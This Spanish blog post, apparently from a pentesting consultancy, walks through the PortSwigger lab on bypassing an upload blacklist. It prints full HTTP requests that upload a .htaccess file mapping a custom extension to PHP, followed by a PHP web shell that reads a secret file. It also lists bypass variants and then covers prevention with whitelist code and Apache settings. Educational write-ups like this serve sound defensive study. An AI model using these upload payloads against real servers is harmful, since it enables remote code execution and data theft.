🚨
VulnerabilidadesPentestingPortSwiggerDesarrollo SeguroFile Upload Security

Web Shell Upload via Extension Blacklist Bypass: Lab PortSwigger Resuelto

Resolvemos paso a paso el lab de PortSwigger sobre file upload bypass con .htaccess. Aprende cómo funciona y cómo prevenirlo.

📅22 de enero de 2026
👤Juan Camilo Palacio Alvarez
⏱️12 min de lectura

Web Shell Upload via Extension Blacklist Bypass: Lab PortSwigger Resuelto

Este post documenta la resolución del laboratorio "Web shell upload via extension blacklist bypass" de PortSwigger Web Security Academy, una plataforma educativa gratuita para aprender seguridad web de forma práctica.


"Bloqueamos .php, estamos seguros."

Esta es una frase que escucho frecuentemente. Y este laboratorio demuestra exactamente por qué esa confianza es peligrosa.

En este walkthrough vamos a:

  • Resolver el lab paso a paso
  • Entender por qué funciona el bypass (no solo el "cómo")
  • Aprender a prevenir esta vulnerabilidad en aplicaciones reales

Sobre PortSwigger Web Security Academy

PortSwigger Web Security Academy es una de las mejores plataformas gratuitas para aprender seguridad web. Sus laboratorios simulan vulnerabilidades reales en entornos controlados, permitiendo practicar técnicas de pentesting de forma ética y legal.

Este lab específico pertenece a la categoría de File Upload Vulnerabilities y tiene dificultad Practitioner (intermedia).

🔗 Lab original: Web shell upload via extension blacklist bypass


¿Qué es una Vulnerabilidad de File Upload?

Una vulnerabilidad de file upload ocurre cuando una aplicación permite a usuarios subir archivos sin validar correctamente el tipo, contenido o extensión, permitiendo a atacantes ejecutar código malicioso (web shells) en el servidor y comprometer la aplicación completamente.

Según OWASP, las vulnerabilidades de subida de archivos sin restricciones están clasificadas como CWE-434 y pueden llevar a:

  • Ejecución remota de código (RCE)
  • Toma completa del servidor
  • Movimiento lateral en la red
  • Exfiltración de datos sensibles

El Problema: Blacklist vs Whitelist

Muchos desarrolladores implementan validación de archivos usando blacklists (listas negras): bloquean extensiones conocidas como peligrosas (.php, .exe, .sh) y permiten todo lo demás.

Este enfoque es fundamentalmente inseguro.

CaracterísticaBlacklistWhitelist
EnfoqueBloquear extensiones peligrosasPermitir solo extensiones seguras
SeguridadBaja (se pueden bypassear)Alta (por defecto deniega todo)
MantenimientoAlto (nuevas extensiones siempre)Bajo (lista fija de permitidas)
Recomendación❌ No usar en producción✅ Best practice

Por Qué las Blacklists Fallan

Las blacklists fallan porque:

  1. Extensiones alternativas: .php3, .php4, .php5, .php7, .phtml, .phar, .pht
  2. Variaciones de caso: .PhP, .PHP, .pHp
  3. Doble extensión: shell.php.jpg, shell.jpg.php
  4. Archivos de configuración: .htaccess, web.config, .user.ini
  5. Extensiones desconocidas: Cualquier extensión personalizada

Este laboratorio explota específicamente el punto 4: archivos de configuración.


Contexto del Laboratorio

Escenario

El lab simula una aplicación web con:

  • Funcionalidad de subida de avatar para usuarios
  • Blacklist que bloquea archivos .php
  • Servidor Apache con mod_php habilitado
  • Configuración que permite archivos .htaccess

Objetivo

Subir un web shell que permita leer el contenido del archivo /home/carlos/secret y obtener la flag para resolver el laboratorio.

Credenciales proporcionadas

  • Usuario: wiener
  • Password: peter

Walkthrough Paso a Paso

Paso 1: Reconocimiento Inicial

Primero, iniciamos sesión con las credenciales proporcionadas y exploramos la funcionalidad de subida de avatar.

HTTP
POST /login HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=wiener&password=peter

Una vez autenticados, navegamos a "My Account" donde encontramos la opción de subir una imagen de avatar.

Paso 2: Identificar la Blacklist

Intentamos subir un archivo PHP malicioso directamente:

Archivo: exploit.php

PHP
<?php echo file_get_contents('/home/carlos/secret'); ?>

Resultado: El servidor rechaza el archivo con un mensaje indicando que la extensión .php no está permitida.

Esto confirma que existe una blacklist que bloquea .php.

Paso 3: Analizar el Servidor

En Burp Suite, revisamos los headers de respuesta del servidor:

HTTP
HTTP/2 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3

Información clave:

  • Apache: Servidor web que procesa archivos .htaccess
  • mod_php: Módulo que ejecuta código PHP

Esta combinación es vulnerable al bypass con .htaccess.

Paso 4: Entender el Ataque con .htaccess

Aquí viene la parte importante: ¿por qué funciona este bypass?

¿Qué es .htaccess?

.htaccess (Hypertext Access) es un archivo de configuración distribuida de Apache. Permite modificar la configuración del servidor a nivel de directorio sin acceso al archivo principal httpd.conf.

¿Qué es la directiva AddType?

AddType es una directiva de Apache que mapea extensiones de archivo a tipos MIME:

APACHE
AddType MIME-type extension

Por ejemplo:

APACHE
AddType application/pdf .pdf
AddType image/svg+xml .svg

El Truco: Redefinir Extensiones PHP

Si subimos un archivo .htaccess con el siguiente contenido:

APACHE
AddType application/x-httpd-php .l33t

Esto le dice a Apache: "cualquier archivo con extensión .l33t debe ser procesado como PHP".

El tipo MIME application/x-httpd-php es especial: indica a mod_php que debe interpretar y ejecutar el contenido del archivo como código PHP.

Paso 5: Subir el Archivo .htaccess

En Burp Suite, interceptamos la petición de subida de avatar y la modificamos:

Request original:

HTTP
POST /my-account/avatar HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="imagen.jpg"
Content-Type: image/jpeg

[contenido de imagen]
------WebKitFormBoundary

Request modificada:

HTTP
POST /my-account/avatar HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t
------WebKitFormBoundary

Cambios realizados:

  1. filename cambiado a .htaccess
  2. Content-Type cambiado a text/plain
  3. Contenido reemplazado por la directiva AddType

Resultado: El archivo se sube exitosamente. La blacklist no bloquea .htaccess.

Paso 6: Subir el Web Shell con Extensión Personalizada

Ahora que .htaccess está activo en el directorio de uploads, subimos nuestro web shell pero con la extensión .l33t:

Request:

HTTP
POST /my-account/avatar HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="exploit.l33t"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary

Resultado: El archivo se sube exitosamente. La blacklist no bloquea .l33t porque no está en su lista.

Paso 7: Ejecutar el Web Shell

Accedemos al archivo subido:

HTTP
GET /files/avatars/exploit.l33t HTTP/2
Host: <lab-id>.web-security-academy.net

Respuesta:

s3cr3t_fl4g_h3r3

Gracias a nuestro archivo .htaccess, Apache interpreta exploit.l33t como PHP, ejecuta el código, y devuelve el contenido del archivo secreto.

Paso 8: Resolver el Laboratorio

Enviamos el secret obtenido para completar el lab.

¡Lab resuelto!


¿Por Qué Funciona Este Bypass?

Resumamos la cadena de eventos:

  1. La aplicación usa blacklist: Solo bloquea .php (y quizás otras extensiones conocidas)
  2. No bloquea .htaccess: Los archivos de configuración no están en la blacklist
  3. Apache procesa .htaccess: Cuando existe en un directorio, Apache lo lee y aplica
  4. AddType redefine extensiones: La directiva mapea .l33t → PHP
  5. El web shell bypasea la blacklist: .l33t no está bloqueada
  6. Apache ejecuta el PHP: mod_php procesa el archivo como código

El error fundamental es confiar en una blacklist incompleta y permitir subida de archivos de configuración.


Otras Técnicas de Bypass (Más Allá del Lab)

Este laboratorio usa .htaccess, pero existen muchas otras técnicas de bypass:

Extensiones PHP Alternativas

ExtensiónDescripción
.php3PHP 3 legacy
.php4PHP 4 legacy
.php5PHP 5 específico
.php7PHP 7 específico
.phtmlPHP + HTML
.phtPHP HTML Template
.pharPHP Archive
.incInclude files

Double Extension

shell.php.jpg     # Si solo valida última extensión
shell.jpg.php     # Si solo valida primera extensión

Case Manipulation

shell.PHP
shell.PhP
shell.pHp

Null Byte (Histórico, parcheado en PHP 5.3.4+)

shell.php%00.jpg

Otros Archivos de Configuración

ArchivoServidorEfecto
.htaccessApacheRedefinir handlers
web.configIISConfiguración ASP.NET
.user.iniPHP-FPMAuto prepend files

Cómo Prevenir Esta Vulnerabilidad

1. Usar Whitelist, No Blacklist

PHP
// ❌ INSEGURO: Blacklist
$blacklist = array('.php', '.php5', '.phtml');
$extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

if (in_array('.' . strtolower($extension), $blacklist)) {
    die("Extension no permitida");
}

// ✅ SEGURO: Whitelist
$whitelist = array('jpg', 'jpeg', 'png', 'gif');
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($extension, $whitelist)) {
    die("Solo se permiten imágenes");
}

2. Validar Contenido Real del Archivo

PHP
// Validar magic bytes
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);

$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
    die("Tipo de archivo no permitido");
}

3. Renombrar Archivos

PHP
// Generar nombre aleatorio
$newName = bin2hex(random_bytes(16)) . '.' . $extension;

4. Almacenar Fuera del Webroot

/var/www/
├── html/              # Document root (accesible via web)
│   └── index.php
└── storage/           # FUERA del webroot (no accesible directamente)
    └── uploads/

5. Deshabilitar .htaccess en Directorio de Uploads

APACHE
<Directory "/var/www/html/uploads">
    AllowOverride None
    Options -Indexes -ExecCGI

    <FilesMatch "\.(php|phtml|php[3-7]|phar)$">
        Require all denied
    </FilesMatch>
</Directory>

6. Usar PHP-FPM en Lugar de mod_php

PHP-FPM ofrece mejor aislamiento y no es vulnerable al mismo tipo de ataque con AddType, ya que la comunicación es via FastCGI, no por tipo MIME.


Checklist de Seguridad para File Uploads

  • ¿Usas whitelist de extensiones (no blacklist)?
  • ¿Validas el contenido real del archivo (magic bytes, MIME type)?
  • ¿Renombras los archivos con nombres aleatorios?
  • ¿Almacenas archivos fuera del webroot?
  • ¿Tienes deshabilitado .htaccess en el directorio de uploads?
  • ¿Está deshabilitada la ejecución de scripts en el directorio de uploads?
  • ¿Validas el tamaño máximo del archivo?
  • ¿Tienes headers de seguridad (X-Content-Type-Options: nosniff)?

Impacto de Negocio

¿Por qué debería importarte esto como CTO o developer?

Según el IBM Cost of Data Breach Report 2024:

  • Costo promedio de un breach: $4.88M USD
  • Tiempo promedio de detección: 194 días

Un web shell no es solo código ejecutándose. Es:

  • Acceso persistente al servidor
  • Movimiento lateral en la red interna
  • Exfiltración de bases de datos y credenciales
  • Ransomware potencial

Y todo puede comenzar con una validación de file upload mal implementada.


Conclusión

Este laboratorio de PortSwigger demuestra una verdad incómoda: las blacklists no funcionan.

La lección clave es simple:

Nunca confíes en lo que bloqueas. Define explícitamente lo que permites.

Si tu aplicación acepta archivos de usuarios, necesitas:

  1. Whitelist estricta de extensiones
  2. Validación de contenido real
  3. Configuración de servidor que prevenga ejecución

Tu Siguiente Paso

Practica este y otros labs en PortSwigger Web Security Academy. Es gratuito y la mejor forma de aprender seguridad web de forma práctica.

Si ya tienes una aplicación en producción que acepta file uploads, hazte estas preguntas:

  1. ¿Usas whitelist o blacklist?
  2. ¿Cuándo fue la última vez que alguien externo probó tu funcionalidad de upload?

En Pentacode, auditar funcionalidades de file upload es parte de cada pentest web. No solo buscamos extensiones bloqueadas, probamos bypasses de blacklist, magic bytes, path traversal y escalación via metadatos.

Agenda una consulta de 30 minutos (gratis)


Recursos Adicionales


Sobre el Autor

Juan Camilo Palacio Alvarez es el fundador de Pentacode, consultora especializada en pentesting y desarrollo seguro para startups en LATAM. Practica regularmente en PortSwigger Web Security Academy y comparte sus aprendizajes para ayudar a developers a construir aplicaciones más seguras.

Conéctate en LinkedIn

Compartir artículo:

🛡️

¿Listo para proteger tu aplicación?

Agenda una consultoría gratuita y descubre cómo nuestros servicios de pentesting pueden ayudarte a identificar vulnerabilidades.

Chatea con nosotros